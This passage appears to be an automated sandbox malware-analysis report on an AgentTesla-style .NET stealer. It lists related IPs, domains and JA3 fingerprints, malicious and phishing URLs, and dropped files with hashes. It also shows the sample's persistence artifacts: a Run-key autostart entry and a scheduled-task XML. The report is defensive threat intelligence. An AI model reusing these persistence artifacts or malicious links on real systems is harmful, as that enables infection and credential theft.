15:02:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run qZeUnR C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
104.26.12.205	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
23.226.124.127	ID-Statement_of_Account_s-XXXXX6290-081220232003311731.exe	Get hash	malicious	AgentTesla	Browse
23.226.124.127	ID-Statement_of_Account_s-XXXXX6290-081220232003311731.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	BL-INVOICE SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	CamScanner.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	bhevLCQYD6.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	TBC#01 Rev.A3 - lnexa.xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	SecuriteInfo.com.Win32.PWSX-gen.9732.1319.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	CANKO DMC IMPORT ENQUIRY.PDF.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Transaction Advice_280324-WS-394-1247.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	YPT23-117419 numaral#U0131 Dekont-20240328.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	BL-INVOICE SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	http://bonosbevvy.com/imei2o7jwqr0/73384	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://riversidetwp.org	Get hash	malicious	Unknown	Browse	104.18.11.207
	CamScanner.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://emplacing.com/mde/anti.php	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://activeonlinemailuelmanagment.com/Mcm9iZXJ0Lm1hcnRpbmpyQGJvYXJzaGVhZC5jb20=	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	SecuriteInfo.com.Win64.DropperX-gen.2488.32398.exe	Get hash	malicious	Unknown	Browse	104.21.95.148
	SecuriteInfo.com.Win64.DropperX-gen.2488.32398.exe	Get hash	malicious	Unknown	Browse	172.67.145.129
	dada.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	bhevLCQYD6.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
WEBAIR-INTERNETUS	https://attwebupdate.w3spaces.com/	Get hash	malicious	Unknown	Browse	174.137.133.32
	https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica	Get hash	malicious	Unknown	Browse	174.137.133.32
	https://bafkreiakypngf5p2vusgmzt3htrul7f7hmhpylofrop6cg6waka2djtzz4.ipfs.dweb.link/#katja.lundberg-rand@daiichi-sankyo.eu	Get hash	malicious	Unknown	Browse	174.137.133.32
	http://ipfs.io	Get hash	malicious	Unknown	Browse	174.137.133.32
	https://m-r.pw/ptviaverde	Get hash	malicious	Unknown	Browse	174.137.133.49
	http://marketplace-item-details-98756222.zya.me	Get hash	malicious	HTMLPhisher	Browse	174.137.133.49
	https://brandequity.economictimes.indiatimes.com/etl.php?url=//zerpcon.com/nxgtnrtn/imgsdoll#ZnJvdGlyb3RpQGFzc25hdC5xYy5jYQ==	Get hash	malicious	Unknown	Browse	174.137.133.32
	https://www.bing.com/search?q=%e8%8f%af%e7%a2%a9+TUF+GAMING+B760M-PLUS+WIFI%e4%b8%bb%e6%a9%9f%e6%9d%bf&cvid=8ed3431d674542bbaed6934068e7242d&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQABhAMgYIAhAAGEAyBggDEAAYQDIGCAQQABhAMgYIBRAAGEAyBggGEAAYQDIGCAcQABhAMgYICBAAGEAyBwgJEEUY_FXSAQgxMDUwajBqNKgCALACAA&PC=U531&FPIG=7973DC1DA237417B95A39D883F2961E8&first=121&FORM=PERE2	Get hash	malicious	Unknown	Browse	174.137.133.49
	https://digitalmissioners.com	Get hash	malicious	Unknown	Browse	174.137.133.49
	https://googleads.g.doubleclick.net/aclk?nis=4&sa=l&ai=CBy2nBWzuZebBCqaT9fwP3aiQyA_w2oDlddu5z5-iErOjjrWMDhABIPuchwNgpaCVgJgBoAH3paCUKsgBAqgDAcgDyQSqBK4CT9CEq8LQKNPdFDGXOtMpyjS3yMvP1hTqSeq0cEtWo62EIJdDfle1EjLt33lRwACMm2pw-rajkPdYwnT5Hl00cEmv9wBBsQioqExIWGvu6p-f1FgTA4lF99AYzAoZDqjOsgO1Aaf7zNmTuvPiNjPmB0lse0kqkk5ZW_51m-IllOWVbMnCztYUJcNx6Xyq6Uo5_4Le0urHHQPbXxiw_mda5IYUAcwGkwTL52V-4gywNNlNqOTkI7T9S7HMMTWKBFQXVzCHWUWNV3nKOVBWl4pQ82t3zIUfrU4C4jGcwqImfMmBkz7wuJEkik07BsxGcZ0EIPAjKv4S4TXrujRrzO55GTRkRsQnotspAHgJGD676hTPpQWOblgQN618COIhfqe2pEN3V0qQ1mCjVHv33q3ABNS0h5rvBIgFn4XMo06gBgKAB_fd8PMEqAfZtrECqAevvrECqAfVyRuoB6a-G6gHjs4bqAeT2BuoB-6WsQKoB_6esQKoB5oGqAfz0RuoB5bYG6gHqpuxAqgHg62xAqgH4L2xAqgH_56xAqgH35-xAqgHyqmxAqgH66WxAqgH6rGxAqgHmbWxAqgHvrexAtgHAdIILQiM4YBAEAEYHzIEi8KBDjoOj9CAgICADIDAgICAoChIvf3BOlj_u4e-lOuEA7EJaBWNCPNfR7iACgGYCwHICwHaDBEKCxDQlNaq1sWkyOIBEgIBA6oNAkFVyA0B2BMC0BUB-BYBgBcBshgJEgKCaBgCIgEA&ae=1&ase=2&gclid=EAIaIQobChMIptiHvpTrhAMVpkmdCR1dFAT5EAEYASAAEgJkAfD_BwE&num=1&cid=CAQSLQB7FLtqOsAeoITkk8_EfWxyFaX6LvfDD7qju4NO3pvtDST86esq5V2hobPA7hgB&sig=AOD64_3YUwGOAhvDgrtLKQSfZbxQDrMiug&client=ca-pub-3734677162347682&rf=2&nb=17&adurl=https://sites.google.com/view/fashionpassrent%3Fgclid%3DEAIaIQobChMIptiHvpTrhAMVpkmdCR1dFAT5EAEYASAAEgJkAfD_BwE	Get hash	malicious	Unknown	Browse	174.137.133.49

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	BL-INVOICE SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	CamScanner.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	bhevLCQYD6.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	TBC#01 Rev.A3 - lnexa.xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	package80171530600.jpg.lnk	Get hash	malicious	XWorm	Browse	104.26.12.205
	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	inpau292101.js	Get hash	malicious	FormBook	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.9732.1319.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	CANKO DMC IMPORT ENQUIRY.PDF.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Quotation 1563050097.exe	Get hash	malicious	AgentTesla	Browse
	SOA 820527940511.cmd.exe	Get hash	malicious	AgentTesla	Browse
	UpdateAdobe.exe	Get hash	malicious	XWorm	Browse
	INV.3175001503.exe	Get hash	malicious	AgentTesla	Browse
	Statement of Accounts.exe	Get hash	malicious	AgentTesla	Browse
	Invoice-AWB-Document.exe	Get hash	malicious	XWorm	Browse
	Quotation 1563058092XXX.exe	Get hash	malicious	AgentTesla	Browse
	h5fwH8gisX.exe	Get hash	malicious	AgentTesla	Browse
	vJRoTmuNBS4S30j.exe	Get hash	malicious	AgentTesla	Browse
	DHL-102113XXX.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ECXXCuFHUVw.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oBMlky3Rkm7h5QK.exe.log

Download File

Process:	C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qZeUnR.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379552885213346
Encrypted:	false
SSDEEP:	48:fWSU4xympjgs4RIoU99tK8NPZHUl7u1iMugeC/ZM0Uyus:fLHxvCsIfA2KRHmOugw1s
MD5:	3E5712DC6AFCA8CF60C5CB8BE65E2089
SHA1:	CDBAF3935912EFB05DBE58CA89C5422F07B528A0
SHA-256:	B9F7E5F0AFD718D8585A8B37DD8C459ECDD4E7E68C5FE61631D89CDD3E229833
SHA-512:	1BD81033EB26CD0EE3DEF6F02FECB4097D878D61CAA5BEF6739C51E889B99C9E695BECF51719959D33F7BA9838E202ADD7EE4DD704D5163B584F4E8B8B7ECC38
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5byybizn.ydd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3jirewm.svn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mecfh0fm.v4x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtmfindy.l3t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwpr00un.32k.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwyglvgr.t1g.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ybagexgq.sl0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqqkgmgx.t25.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp

Download File

Process:	C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1598
Entropy (8bit):	5.108301473724538
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLOPxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTSJv
MD5:	F91E7CFCDEDAE8311AE4569A2CE8E45C
SHA1:	A9B179C43BC2B26D2DABD38E059E318B9BDD7BF8
SHA-256:	4217F6E3A94B5A98D3B8FD5187420E802A1586C9E05658397E5136F84A6E8AC3
SHA-512:	6085C0406A5CD2F04F683EA91B2A1339AB997BD514EB9A63E2551EB876A83F27CFFB213A3994D0B1E8AF4B5CFC989B90E67C4A6EE21EE1D97077FCD4F94B0EE7
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmpF51D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1598
Entropy (8bit):	5.108301473724538
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLOPxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTSJv
MD5:	F91E7CFCDEDAE8311AE4569A2CE8E45C
SHA1:	A9B179C43BC2B26D2DABD38E059E318B9BDD7BF8
SHA-256:	4217F6E3A94B5A98D3B8FD5187420E802A1586C9E05658397E5136F84A6E8AC3
SHA-512:	6085C0406A5CD2F04F683EA91B2A1339AB997BD514EB9A63E2551EB876A83F27CFFB213A3994D0B1E8AF4B5CFC989B90E67C4A6EE21EE1D97077FCD4F94B0EE7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe

Download File

Process:	C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	761856
Entropy (8bit):	7.652735134468148
Encrypted:	false
SSDEEP:	12288:akz4ayww0uLdzCeXEdFGpQCDsmIag2Sh7unpPcmg5I0i4DVlupWXAhT:UajazCe0dFoQQs55h7uVoG0dDVlup+
MD5:	596365C750C4F8E60A966E220E35E7D9
SHA1:	234B7114F19589E1768670361E2A4CD7328F8C75
SHA-256:	E77C8CA31128A1A181B99A8234F39559854855D871D7ABE167E004BB970E7F3C
SHA-512:	5679CC3BCA181E417DE60F4F8C473A17445405EB32F0E37855111BA5F6B8A95CC22225628DA8C0227078177342AD3F9A1B9C3B985E04AFF086D0A7E626E20047
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A.................0.............z.... ........@.. ....................................@.................................%...O.......................................p............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................Y.......H.......\|e...C..........`...8............................................0.............?......?...%.n...(.......?...%.r...(.......?...%.p...(.......?...%.o...(........?...%.q...(...............r...p(....-:..r...p(....-5..r...p(....-0..r...p(....-+..r...p(....-'+/.(...+.+&.(...+.+..(...+.+...(...+.+...(...+.+....+......0..,.......sg......}s........h...s....(...+..(...+.+...0..{........~)...o....}.....~*...}...........}.......?...}......}......}.....(.......(......(......(...

C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45984
Entropy (8bit):	6.16795797263964
Encrypted:	false
